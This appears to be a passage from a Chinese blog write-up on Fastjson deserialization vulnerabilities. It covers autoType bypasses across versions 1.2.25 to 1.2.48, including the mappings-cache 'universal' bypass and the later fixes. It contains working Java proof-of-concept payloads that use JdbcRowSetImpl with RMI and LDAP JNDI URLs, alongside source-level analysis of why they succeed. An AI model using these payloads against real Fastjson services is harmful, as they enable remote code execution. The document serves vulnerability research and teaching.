import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/tre2da\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

修复

[进行了限制

fastjson1.2.44

限制[

前置知识

分析checkAutoType

1
2
3
4
5
6
7
8
9
10
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
// 判断首字符是否为[
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}

// 判断首字符是否是L并且结尾是否是;
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

在这里限制的很严格了

利用方式只能使用下面通杀payload

fastjson1.2.45-46

补充黑名单

fastjson1.2.25-1.2.47通杀

mappings缓存导致反序列化漏洞

环境

Maven依赖、JDK8u66下

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>

测试

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package FastJson;
import com.alibaba.fastjson.JSON;

public class POC {
public static void main(String[] args) {
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"ldap://127.0.0.1:1389/tre2da\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);
}
}

为什么要这样构造:

在没有开启autoType的时候,需要在if (!autoTypeSupport)之前将类返回,否则过不了黑名单,即务必在下面代码中返回clazz

1
2
3
4
5
6
7
8
9
10
11
12
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

而获取clazz的方式也存在两种

  • Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
  • clazz = deserializers.findClass(typeName);

首先观察第二个方式,deserializers指的是一个IdentityHashMap,在某个ParserConfig构造函数中put了一些类和对应的反序列化器。由于这里是findClass,指的是根据typeName找到对应的反序列化器,因此有了第一种思路:可以向deserializers里面添加需要的反序列化器

由于deserializers是private属性,需要寻找调用deserializers.put的方法

1
2
3
public void putDeserializer(Type type, ObjectDeserializer deserializer) {
deserializers.put(type, deserializer);
}

全局搜索调用putDeserializer的地方,就只有ParserConfig类的initJavaBeanDeserializers方法调用了,找不到可利用的链

从第一个方式入手,查看getClassFromMapping函数

1
2
3
public static Class<?> getClassFromMapping(String className) {
return mappings.get(className);
}

既然是从mapping中获取className,那么可以寻找调用mapping.put的地方,这里有TypeUtils.loadClass方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static Class<?> loadClass(String className, ClassLoader classLoader) {
.......
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
// skip
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);

return clazz;
} catch (Throwable e) {
// skip
}

return clazz;
}

现在的目标转向哪里调用了TypeUtils.loadClass方法,全局搜索,总共有5处

其中第二处无法控制参数;第三个在开启autoType的情况下;第四个在未开启autoType的情况,但是需要先过黑名单;第五个也是需要在开启autoType的情况下

综上,可利用的可能只有第一处,进去分析,处在com/alibaba/fastjson/serializer/MiscCodec.java的deserialze方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;

//....

if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}

String strVal;

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
if (objVal instanceof JSONObject) {
if (clazz == Map.Entry.class) {
JSONObject jsonObject = (JSONObject) objVal;
return (T) jsonObject.entrySet().iterator().next();
}
}
throw new JSONException("expect string");
}

//...

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

}

关注strVal,由上一段代码得知是由objVal转换得到的,在往上分析,需要解析得到objVal必须满足以下条件(if当中的条件)

  • 解析器的状态为TypeNameRedirect
  • 使用lexer.stringVal()方法获取当前Token的字符串值,并与val进行比较,需要相等

最后将解析得到的值传给objVal再传给strVal,如果clazz == Class.class则调用loadClass将strVal放入Mappings中

注:其中MiscCodec是一个反序列化器,它继承了ObjectSerializer和ObjectDeserializer,所以直接调用deserialze方法就能够达到我们的目标,那么如何获取MiscCodec的示例也是一个问题?

查看之前的deserializers,里面put了很多关于MiscCodec键值对,根据clazz == Class.class条件,选择最合适的clazz值为java.lang.Class

1
2
3
4
5
6
7
8
9
deserializers.put(Class.class, MiscCodec.instance);
...
deserializers.put(UUID.class, MiscCodec.instance);
deserializers.put(TimeZone.class, MiscCodec.instance);
deserializers.put(Locale.class, MiscCodec.instance);
deserializers.put(Currency.class, MiscCodec.instance);
deserializers.put(InetAddress.class, MiscCodec.instance);
deserializers.put(Inet4Address.class, MiscCodec.instance);
deserializers.put(Inet6Address.class, MiscCodec.instance);

从开头开始分析:

回到DefaultJSONParser.java中的parseObject函数,在解析@type时分为3步

  • Class<?> clazz = config.checkAutoType(typeName, null);
  • this.setResolveStatus(TypeNameRedirect);
  • ObjectDeserializer deserializer = config.getDeserializer(clazz); return deserializer.deserialze(this, clazz, fieldName);

其执行流程:

  • 解析a中的@type

    • 进入checkAutoType,typeName为java.lang.Class
    • TypeUtils.getClassFromMapping(typeName)返回null
    • deserializers.findClass(typeName)返回class java.lang.Class
    • this.setResolveStatus(TypeNameRedirect);
    • config.getDeserializer(clazz)获取MiscCodec.instance
    • deserializer.deserialze(this, clazz, fieldName),即调用MiscCodec的deserialze方法
    • 在MiscCodec的deserialze方法中满足了if条件,得到strVal为com.sun.rowset.JdbcRowSetImpl
    • 调用TypeUtils.loadClass,Thread.currentThread().getContextClassLoader(),然后mappings.put(className, clazz)将com.sun.rowset.JdbcRowSetImpl放入mappings
    • 此次a解析完成
  • 解析b中的@type

    • 进入checkAutoType,typeName为com.sun.rowset.JdbcRowSetImpl

    • TypeUtils.getClassFromMapping(typeName);得到clazz为class com.sun.rowset.JdbcRowSetImpl

    • 不用经过黑名单,直接返回clazz

    • config.getDeserializer(clazz),之后的调用栈如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      build:130, JavaBeanInfo (com.alibaba.fastjson.util)
      createJavaBeanDeserializer:590, ParserConfig (com.alibaba.fastjson.parser)
      getDeserializer:507, ParserConfig (com.alibaba.fastjson.parser)
      getDeserializer:364, ParserConfig (com.alibaba.fastjson.parser)
      parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser)
      parseObject:517, DefaultJSONParser (com.alibaba.fastjson.parser)
      parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
      parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
      parse:137, JSON (com.alibaba.fastjson)
      parse:128, JSON (com.alibaba.fastjson)
      main:25, POC (FastJson)
    • 得到deserializer为FastjsonASMDeserializer_1_JdbcRowSetTmpl@920

    • 之后就是调用其deserialze方法

尽管其他版本的checkAutoType函数有所更改,但是不影响这种通杀方法的通用性

fastjson1.2.48

在MiscCodec类中的deserialze的方法中,在调用TypeUtils.loadClass方法时将cache设置为false

1
2
3
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}

这样在TypeUtils.loadClass方法中就不会将clazz放入mappings缓存中

1
2
3
4
5
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;

参考

【两万字原创长文】完全零基础入门Fastjson系列漏洞(基础篇) (qq.com)

JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)

Fastjson抗争的一生 | fynch3r的小窝

Java安全之FastJson JdbcRowSetImpl 链分析 - nice_0e3 - 博客园 (cnblogs.com)